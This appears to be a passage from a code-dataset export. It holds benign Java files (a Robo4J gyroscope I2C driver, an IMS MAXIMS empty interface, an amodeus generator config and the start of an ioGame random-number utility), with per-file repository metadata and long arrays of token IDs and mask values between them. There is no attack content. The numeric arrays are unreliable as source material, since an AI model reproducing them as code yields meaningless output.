// i2CConfig.write(REGISTER_CTRL_REG1, (byte) 0x00);
writeByte(REGISTER_CTRL_REG1, (byte) 0x00);
// Enable all three channels + normal mode (also sets data rate and
// bandwidth, see chip docs)
// i2CConfig.write(REGISTER_CTRL_REG1, (byte) 0x0F);
writeByte(REGISTER_CTRL_REG1, (byte) 0x0F);
// Set sensitivity
// i2CConfig.write(REGISTER_CTRL_REG4, (byte) sensitivity.fullScaleSelectionMask);
writeByte(REGISTER_CTRL_REG4, (byte) sensitivity.fullScaleSelectionMask);
if (enableHighPassFilter) {
// i2CConfig.write(REGISTER_CTRL_REG5, (byte) 0x10);
writeByte(REGISTER_CTRL_REG5, (byte) 0x10);
}
// i2CConfig.write(REGISTER_LOW_ODR, (byte) 0x1);
writeByte(REGISTER_LOW_ODR, (byte) 0x1);
}
public Tuple3f read() throws IOException {
byte[] xyz = new byte[6];
Tuple3f data = new Tuple3f();
// i2CConfig.write((byte) (REGISTER_OUT_X_L | 0x80));
writeByte((byte) (REGISTER_OUT_X_L | 0x80));
writeByteBufferByAddress(REGISTER_OUT_X_H | 0x80, xyz, 0, 6);
int x = (xyz[1] & 0xFF | (xyz[0] << 8));
int y = (xyz[3] & 0xFF | (xyz[2] << 8));
int z = (xyz[5] & 0xFF | (xyz[4] << 8));
data.x = x * sensitivity.getSensitivityFactor();
data.y = y * sensitivity.getSensitivityFactor();
data.z = z * sensitivity.getSensitivityFactor();
return data;
}
}
| 6,083
|
Java
|
.java
|
Robo4J/robo4j
| 71
| 19
| 25
|
2016-05-01T20:27:59Z
|
2023-11-06T16:39:32Z
|
11a4a54f0f12f6feae5c7781b58eea7c21651cb0fb43423977d59857213e1b10
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
54,
57,
49,
244,
55,
53,
55,
56,
49,
8369,
6217,
696,
8029,
49,
507,
9831,
2021,
472,
643,
838,
1403,
222,
338,
222,
338,
11792,
730,
57,
79,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
11792,
730,
57,
79,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
11792,
730,
57,
79,
51,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
785,
51,
309,
730,
57,
111,
51,
6777,
51,
119,
1314,
51,
110,
55,
104,
51,
44323,
64,
222,
222,
485,
785,
51,
309,
730,
57,
111,
51,
6777,
51,
119,
1314,
51,
110,
55,
104,
51,
5597,
78,
55,
72,
3046,
64,
222,
485,
785,
51,
309,
730,
57,
111,
51,
6777,
51,
119,
1314,
51,
110,
55,
104,
51,
23409,
3046,
64,
222,
485,
785,
51,
309,
730,
57,
111,
51,
6777,
51,
119,
1314,
51,
2324,
51,
78,
55,
104,
5997,
64,
222,
485,
785,
51,
309,
730,
57,
111,
51,
3851,
51,
10132,
51,
8937,
56,
107,
64,
222,
222,
485,
1401,
51,
735,
51,
6860,
64,
222,
222,
1350,
222,
338,
4972,
24800,
391,
1511,
14754,
1557,
664,
331,
517,
56,
13328,
55,
53,
590,
23887,
49,
456,
2301,
341,
590,
23887,
222,
338,
3322,
563,
341,
3604,
38728,
244,
54,
53,
1700,
75,
1644,
560,
7782,
51,
222,
338,
222,
338,
496,
2133,
8369,
6217,
696,
8029,
11933,
5136,
121,
46,
222,
338,
496,
2133,
507,
9831,
643,
838,
1403,
11933,
18922,
15331,
26327,
46,
222,
588,
222,
942,
462,
590,
23887,
81,
56,
13328,
55,
53,
3046,
2041,
7406,
78,
55,
72,
3046,
4584,
4858,
463,
3046,
65,
8937,
56,
107,
67,
320,
303,
964,
924,
1175,
648,
4050,
100,
78,
55,
72,
100,
12351,
299,
244,
53,
125,
59,
103,
64,
465,
964,
1175,
377,
21292,
44474,
64,
465,
453,
39966,
303,
964,
924,
1175,
648,
11755,
15792,
100,
92,
2271,
100,
2229,
100,
78,
299,
244,
53,
125,
53,
75,
64,
303,
964,
924,
1175,
648,
11755,
15792,
100,
10709,
100,
4747,
54,
299,
244,
53,
125,
55,
53,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
10709,
100,
4747,
55,
299,
244,
53,
125,
55,
54,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
10709,
100,
4747,
56,
299,
244,
53,
125,
55,
55,
64,
303,
964,
924,
1175,
648,
11755,
15792,
100,
10709,
100,
4747,
57,
299,
244,
53,
125,
55,
56,
64,
303,
964,
924,
1175,
648,
11755,
15792,
100,
10709,
100,
4747,
58,
299,
244,
53,
125,
55,
57,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
26398,
299,
244,
53,
125,
55,
58,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
4256,
100,
10118,
299,
244,
53,
125,
55,
59,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
5965,
100,
4747,
299,
244,
53,
125,
55,
60,
64,
303,
964,
924,
1175,
648,
11755,
15792,
100,
4256,
100,
93,
100,
81,
299,
244,
53,
125,
55,
61,
64,
303,
964,
924,
1175,
648,
11755,
15792,
100,
4256,
100,
93,
100,
77,
299,
244,
53,
125,
55,
62,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
4256,
100,
94,
100,
81,
299,
244,
53,
125,
55,
70,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
4256,
100,
94,
100,
77,
299,
244,
53,
125,
55,
71,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
4256,
100,
95,
100,
81,
299,
244,
53,
125,
55,
72,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
4256,
100,
95,
100,
77,
299,
244,
53,
125,
55,
73,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
20389,
100,
10709,
100,
4747,
299,
244,
53,
125,
55,
74,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
20389,
100,
12784,
100,
4747,
299,
244,
53,
125,
55,
75,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
1860,
54,
100,
11896,
299,
244,
53,
125,
56,
53,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
1860,
54,
100,
12784,
299,
244,
53,
125,
56,
54,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
89,
2526,
100,
37150,
299,
244,
53,
125,
56,
55,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
89,
2526,
100,
16902,
299,
244,
53,
125,
56,
56,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
89,
2526,
100,
94,
77,
299,
244,
53,
125,
56,
57,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
89,
2526,
100,
24761,
299,
244,
53,
125,
56,
58,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
89,
2526,
100,
33992,
299,
244,
53,
125,
56,
59,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
89,
2526,
100,
43170,
299,
244,
53,
125,
56,
60,
64,
303,
453,
964,
924,
1175,
648,
11755,
15792,
100,
1860,
54,
100,
33474,
299,
244,
53,
125,
56,
61,
64,
303,
964,
924,
1175,
648,
11755,
15792,
100,
5889,
100,
84,
3577,
299,
244,
53,
125,
56,
62,
64,
465,
453,
14072,
303,
964,
924,
1175,
648,
517,
56,
13328,
55,
53,
100,
798,
299,
244,
53,
9585,
57,
64,
303,
964,
924,
1175,
648,
517,
56,
13328,
55,
53,
77,
100,
798,
299,
244,
53,
9585,
60,
64,
465,
581,
3858,
11957,
2116,
320,
310,
6944,
9696,
49,
31613,
49,
3860,
12111,
49,
6944,
9696,
100,
1425,
100,
13164,
49,
3860,
12111,
100,
1425,
100,
20389,
64,
303,
339,
465,
581,
3858,
377,
21292,
320,
310,
1041,
295,
338,
244,
55,
57,
58,
18713,
52,
120,
2189,
327,
1555,
46,
295,
588,
310,
493,
4259,
100,
55,
57,
58,
45,
53,
125,
53,
53,
49,
244,
61,
51,
60,
58,
107,
536,
244,
54,
53,
53,
53,
51,
53,
107,
490,
310,
1041,
295,
338,
244,
58,
53,
53,
18713,
52,
120,
2189,
295,
588,
310,
493,
4259,
100,
58,
53,
53,
45,
53,
125,
54,
53,
49,
244,
54,
60,
51,
58,
107,
536,
244,
54,
53,
53,
53,
51,
53,
107,
490,
310,
1041,
295,
338,
244,
55,
53,
53,
53,
18713,
52,
120,
2189,
295,
588,
310,
493,
4259,
100,
55,
53,
53,
53,
45,
53,
125,
55,
53,
49,
244,
60,
53,
51,
53,
107,
536,
244,
54,
53,
53,
53,
51,
53,
107,
312,
603,
964,
1175,
648,
3559,
5243,
5385,
6289,
64,
310,
964,
1175,
1916,
44474,
9176,
64,
603,
377,
21292,
45,
429,
3559,
5243,
5385,
6289,
49,
1916,
44474,
9176,
46,
320,
343,
477,
51,
2638,
5243,
5385,
6289,
299,
3559,
5243,
5385,
6289,
64,
343,
477,
51,
120,
21292,
9176,
299,
44474,
9176,
64,
310,
339,
603,
581,
1916,
640,
39053,
9176,
365,
320,
343,
461,
44474,
9176,
64,
310,
339,
303,
339,
465,
581,
590,
23887,
81,
56,
13328,
55,
53,
3046,
45,
39053,
44474,
46,
2589,
6300,
320,
310,
477,
45,
78,
55,
104,
5997,
51,
16752,
100,
54,
49,
4050,
100,
78,
55,
72,
100,
12351,
49,
44474,
49,
878,
312,
303,
339,
465,
581,
590,
23887,
81,
56,
13328,
55,
53,
3046,
45,
78,
55,
104,
5997,
6885,
49,
648,
2983,
49,
377,
21292,
44474,
49,
1922,
5362,
7564,
6136,
2365,
46,
2589,
6300,
320,
310,
2615,
45,
4906,
49,
2983,
312,
310,
477,
51,
120,
21292,
299,
44474,
64,
310,
7395,
45,
4909,
7564,
6136,
2365,
312,
303,
339,
465,
964,
782,
7395,
45,
4412,
5362,
7564,
6136,
2365,
46,
2589,
6300,
320,
222,
325,
221,
221,
429,
828,
299,
613,
55,
72,
1081,
51,
870,
45,
18235,
100,
92,
2271,
100,
2229,
100,
78,
312,
310,
648,
828,
299,
1511,
3945,
45,
18235,
100,
92,
2271,
100,
2229,
100,
78,
312,
310,
434,
1849,
333,
882,
517,
56,
13328,
55,
53,
100,
798,
46,
979,
327,
333,
882,
517,
56,
13328,
55,
53,
77,
100,
798,
509,
320,
343,
1440,
556,
6300,
45,
671,
51,
1664,
459,
11163,
666,
2309,
517,
56,
13328,
55,
53,
20723,
563,
341,
2983,
925,
53,
55,
93,
51,
4858,
2502,
1616,
925,
53,
55,
93,
4429,
640,
2455,
1046,
828,
894,
310,
339,
310,
453,
10063,
536,
8566,
2850,
222,
325,
221,
221,
110,
55,
72,
1081,
51,
1838,
45,
18235,
100,
10709,
100,
4747,
54,
49,
327,
2278,
46,
244,
53,
125,
53,
53,
312,
310,
2886,
3945,
45,
18235,
100,
10709,
100,
4747,
54,
49,
327,
2278,
46,
244,
53,
125,
53,
53,
312,
310,
453,
11602,
1187,
8058,
11043,
494,
4330,
2945,
327,
12240,
6930,
727,
7765,
480,
310,
453,
27804,
49,
2337,
20723,
7748,
46,
222,
325,
221,
221,
110,
55,
72,
1081,
51,
1838,
45,
18235,
100,
10709,
100,
4747,
54,
49,
327,
2278,
46,
244,
53,
125,
53,
75,
312,
310,
2886,
3945,
45,
18235,
100,
10709,
100,
4747,
54,
49,
327,
2278,
46,
244,
53,
125,
53,
75,
312,
310,
453,
1776,
44474,
222,
325,
221,
221,
110,
55,
72,
1081,
51,
1838,
45,
18235,
100,
10709,
100,
4747,
57,
49,
327,
2278,
46,
44474,
51,
2638,
5243,
5385,
6289,
312,
310,
2886,
3945,
45,
18235,
100,
10709,
100,
4747,
57,
49,
327,
2278,
46,
44474,
51,
2638,
5243,
5385,
6289,
312,
310,
434,
327,
4909,
7564,
6136,
2365,
46,
320,
222,
325,
313,
221,
110,
55,
72,
1081,
51,
1838,
45,
18235,
100,
10709,
100,
4747,
58,
49,
327,
2278,
46,
244,
53,
125,
54,
53,
312,
343,
2886,
3945,
45,
18235,
100,
10709,
100,
4747,
58,
49,
327,
2278,
46,
244,
53,
125,
54,
53,
312,
310,
339,
222,
325,
221,
221,
110,
55,
72,
1081,
51,
1838,
45,
18235,
100,
5889,
100,
84,
3577,
49,
327,
2278,
46,
244,
53,
125,
54,
312,
310,
2886,
3945,
45,
18235,
100,
5889,
100,
84,
3577,
49,
327,
2278,
46,
244,
53,
125,
54,
312,
303,
339,
465,
581,
11724,
56,
107,
1511,
365,
2589,
6300,
320,
310,
3447,
1197,
22072,
299,
556,
3447,
96,
59,
988,
310,
11724,
56,
107,
727,
299,
556,
11724,
56,
107,
492,
222,
325,
221,
221,
110,
55,
72,
1081,
51,
1838,
1181,
2278,
46,
327,
18235,
100,
4256,
100,
93,
100,
81,
542,
244,
53,
125,
61,
53,
894,
310,
2886,
3945,
1181,
2278,
46,
327,
18235,
100,
4256,
100,
93,
100,
81,
542,
244,
53,
125,
61,
53,
894,
310,
2886,
21042,
1103,
2455,
45,
18235,
100,
4256,
100,
93,
100,
77,
542,
244,
53,
125,
61,
53,
49,
22072,
49,
244,
53,
49,
244,
59,
312,
310,
648,
837,
299,
327,
11482,
96,
54,
98,
568,
244,
53,
4776,
542,
327,
11482,
96,
53,
98,
1281,
244,
61,
894,
310,
648,
553,
299,
327,
11482,
96,
56,
98,
568,
244,
53,
4776,
542,
327,
11482,
96,
55,
98,
1281,
244,
61,
894,
310,
648,
1308,
299,
327,
11482,
96,
58,
98,
568,
244,
53,
4776,
542,
327,
11482,
96,
57,
98,
1281,
244,
61,
894,
310,
727,
51,
125,
299,
837,
338,
44474,
51,
18721,
21292,
9176,
492,
310,
727,
51,
126,
299,
553,
338,
44474,
51,
18721,
21292,
9176,
492,
310,
727,
51,
127,
299,
1308,
338,
44474,
51,
18721,
21292,
9176,
492,
310,
461,
727,
64,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,982
| true
| 62.189709
| true
| true
|
IFormUILogicCode.java
|
/FileExtraction/Java_unseen/IMS-MAXIMS_openMAXIMS/Source Library/openmaxims_workspace-archive/OCRR/src/ims/ocrr/forms/orderentrytemplatelist/IFormUILogicCode.java
|
//#############################################################################
//# #
//# Copyright (C) <2014> <IMS MAXIMS> #
//# #
//# This program is free software: you can redistribute it and/or modify #
//# it under the terms of the GNU Affero General Public License as #
//# published by the Free Software Foundation, either version 3 of the #
//# License, or (at your option) any later version. #
//# #
//# This program is distributed in the hope that it will be useful, #
//# but WITHOUT ANY WARRANTY; without even the implied warranty of #
//# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
//# GNU Affero General Public License for more details. #
//# #
//# You should have received a copy of the GNU Affero General Public License #
//# along with this program. If not, see <http://www.gnu.org/licenses/>. #
//# #
//#############################################################################
//#EOH
// This code was generated by Barbara Worwood using IMS Development Environment (version 1.80 build 5007.25751)
// Copyright (C) 1995-2014 IMS MAXIMS. All rights reserved.
// WARNING: DO NOT MODIFY the content of this file
package ims.ocrr.forms.orderentrytemplatelist;
public interface IFormUILogicCode
{
// No methods yet.
}
| 1,779
|
Java
|
.java
|
IMS-MAXIMS/openMAXIMS
| 61
| 50
| 23
|
2014-06-12T12:04:02Z
|
2020-07-31T09:34:49Z
|
94b9b731693e4e6e59f58700193b2210fd6e7a1563276f86cafa0934241e8e74
|
[
325,
19989,
8689,
222,
16802,
42053,
607,
222,
16802,
244,
2657,
327,
72,
46,
350,
55,
53,
54,
57,
67,
244,
350,
2348,
88,
7490,
2348,
88,
67,
22768,
607,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
281,
607,
222,
16802,
244,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
2281,
607,
222,
16802,
244,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
981,
607,
222,
16802,
244,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
10094,
607,
244,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
2052,
607,
222,
16802,
244,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
2281,
607,
222,
16802,
244,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
1485,
607,
222,
16802,
244,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
7223,
607,
222,
16802,
42053,
607,
222,
16802,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
607,
222,
16802,
244,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
283,
607,
222,
16802,
42053,
607,
222,
325,
19989,
8689,
222,
16802,
10207,
77,
222,
325,
1369,
1361,
1616,
4741,
829,
11489,
39305,
643,
290,
21100,
1493,
457,
2758,
15606,
10584,
327,
1687,
244,
54,
51,
61,
53,
1984,
244,
58,
53,
53,
60,
51,
55,
58,
60,
58,
54,
46,
222,
325,
2657,
327,
72,
46,
244,
54,
62,
62,
58,
50,
55,
53,
54,
57,
457,
2758,
7490,
2348,
88,
51,
3381,
4760,
5225,
51,
222,
325,
18226,
63,
4103,
2387,
24110,
341,
1813,
451,
477,
822,
222,
222,
1337,
3987,
120,
51,
561,
609,
51,
8543,
51,
1191,
3054,
2402,
687,
64,
222,
222,
942,
2586,
457,
1260,
2299,
12281,
1241,
244,
222,
128,
222,
221,
325,
3155,
4457,
6320,
51,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 346
| true
| 42.776841
| true
| true
|
GeneratorConfig.java
|
/FileExtraction/Java_unseen/amodeus-science_amodeus/src/main/java/org/matsim/amodeus/config/modal/GeneratorConfig.java
|
package org.matsim.amodeus.config.modal;
import org.matsim.amodeus.components.generator.PopulationDensityGenerator;
import org.matsim.core.config.ReflectiveConfigGroup;
public class GeneratorConfig extends ReflectiveConfigGroup {
static public final String GROUP_NAME = "generator";
static public final String TYPE = "type";
static public final String NUMBER_OF_VEHICLES = "numberOfVehicles";
static public final String CAPACITY = "capacity";
static public final String DEFAULT_GENERATOR = PopulationDensityGenerator.TYPE;
private String type = DEFAULT_GENERATOR;
private int numberOfVehicles = 100;
private int capacity = 4;
public GeneratorConfig() {
super(GROUP_NAME, true);
}
@StringGetter(TYPE)
public String getType() {
return type;
}
@StringSetter(TYPE)
public void setType(String type) {
this.type = type;
}
@StringGetter(NUMBER_OF_VEHICLES)
public int getNumberOfVehicles() {
return numberOfVehicles;
}
@StringSetter(NUMBER_OF_VEHICLES)
public void setNumberOfVehicles(int numberOfVehicles) {
this.numberOfVehicles = numberOfVehicles;
}
@StringGetter(CAPACITY)
public int getCapacity() {
return capacity;
}
@StringSetter(CAPACITY)
public void setCapacity(int capacity) {
this.capacity = capacity;
}
}
| 1,390
|
Java
|
.java
|
amodeus-science/amodeus
| 46
| 21
| 8
|
2018-03-15T14:08:44Z
|
2022-10-01T08:35:00Z
|
f20c1622dd4e5cc6b18e7620665c74442f9336fe079c345635771cef8db27b05
|
[
1337,
1105,
51,
1322,
4535,
51,
424,
421,
371,
51,
1180,
51,
3877,
64,
222,
222,
485,
1105,
51,
1322,
4535,
51,
424,
421,
371,
51,
3545,
51,
7147,
51,
11815,
25638,
4829,
64,
222,
485,
1105,
51,
1322,
4535,
51,
1284,
51,
1180,
51,
17965,
680,
1081,
1582,
64,
222,
222,
942,
462,
15419,
1081,
2041,
28740,
680,
1081,
1582,
320,
303,
924,
581,
1175,
910,
20382,
100,
2491,
299,
332,
7147,
884,
465,
924,
581,
1175,
910,
11405,
299,
332,
700,
884,
303,
924,
581,
1175,
910,
23773,
100,
2124,
100,
2494,
77,
1122,
10882,
299,
332,
18470,
44948,
5575,
884,
303,
924,
581,
1175,
910,
22943,
45109,
299,
332,
13895,
884,
465,
924,
581,
1175,
910,
4050,
100,
12436,
7275,
299,
13097,
3935,
25638,
4829,
51,
2333,
64,
303,
964,
910,
847,
299,
4050,
100,
12436,
7275,
64,
465,
964,
648,
16419,
44948,
5575,
299,
244,
54,
53,
53,
64,
303,
964,
648,
13821,
299,
244,
57,
64,
465,
581,
15419,
1081,
365,
320,
310,
2615,
45,
9781,
100,
2491,
49,
878,
312,
303,
339,
465,
496,
671,
11722,
45,
2333,
46,
303,
581,
910,
24097,
365,
320,
310,
461,
847,
64,
303,
339,
465,
496,
671,
16923,
45,
2333,
46,
303,
581,
782,
758,
638,
45,
671,
847,
46,
320,
310,
477,
51,
700,
299,
847,
64,
303,
339,
465,
496,
671,
11722,
45,
10468,
100,
2124,
100,
2494,
77,
1122,
10882,
46,
303,
581,
648,
640,
12659,
44948,
5575,
365,
320,
310,
461,
16419,
44948,
5575,
64,
303,
339,
465,
496,
671,
16923,
45,
10468,
100,
2124,
100,
2494,
77,
1122,
10882,
46,
303,
581,
782,
758,
12659,
44948,
5575,
45,
429,
16419,
44948,
5575,
46,
320,
310,
477,
51,
18470,
44948,
5575,
299,
16419,
44948,
5575,
64,
303,
339,
465,
496,
671,
11722,
45,
11894,
45109,
46,
303,
581,
648,
640,
13126,
365,
320,
310,
461,
13821,
64,
303,
339,
465,
496,
671,
16923,
45,
11894,
45109,
46,
303,
581,
782,
758,
13126,
45,
429,
13821,
46,
320,
310,
477,
51,
13895,
299,
13821,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 346
| true
| 69.640288
| true
| true
|
RandomKit.java
|
/FileExtraction/Java_unseen/iohao_ioGame/common/common-micro-kit/src/main/java/com/iohao/game/common/kit/RandomKit.java
|
/*
* ioGame
* Copyright (C) 2021 - present 渔民小镇 ([email protected]、[email protected]) . All Rights Reserved.
* # iohao.com . 渔民小镇
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package com.iohao.game.common.kit;
import lombok.experimental.UtilityClass;
import java.util.List;
import java.util.Objects;
import java.util.Random;
import java.util.random.RandomGenerator;
/**
* @author 渔民小镇
* @date 2022-07-14
*/
@UtilityClass
public class RandomKit {
final RandomGenerator generator = RandomGenerator.getDefault();
/**
* 获得指定范围内的随机数 [0,limit)
*
* @param limit 限制随机数的范围,不包括这个数
* @return 随机数
* @see Random#nextInt(int)
*/
public int randomInt(int limit) {
return generator.nextInt(limit);
}
/**
* 获得指定范围内的随机数
*
* @param min 最小数(包含)
* @param max 最大数(不包含)
* @return 随机数
*/
public int randomInt(int min, int max) {
return generator.nextInt(min, max);
}
/**
* 获得指定范围内的随机数
*
* @param start 开始值(包含)
* @param end 结束值(包含)
* @return 随机数
*/
public int random(int start, int end) {
return start + generator.nextInt(end - start + 1);
}
/**
* 获得指定范围内的随机数 (0 ~ end)
*
* @param end 结束值(包含)
* @return 随机数
*/
public int random(int end) {
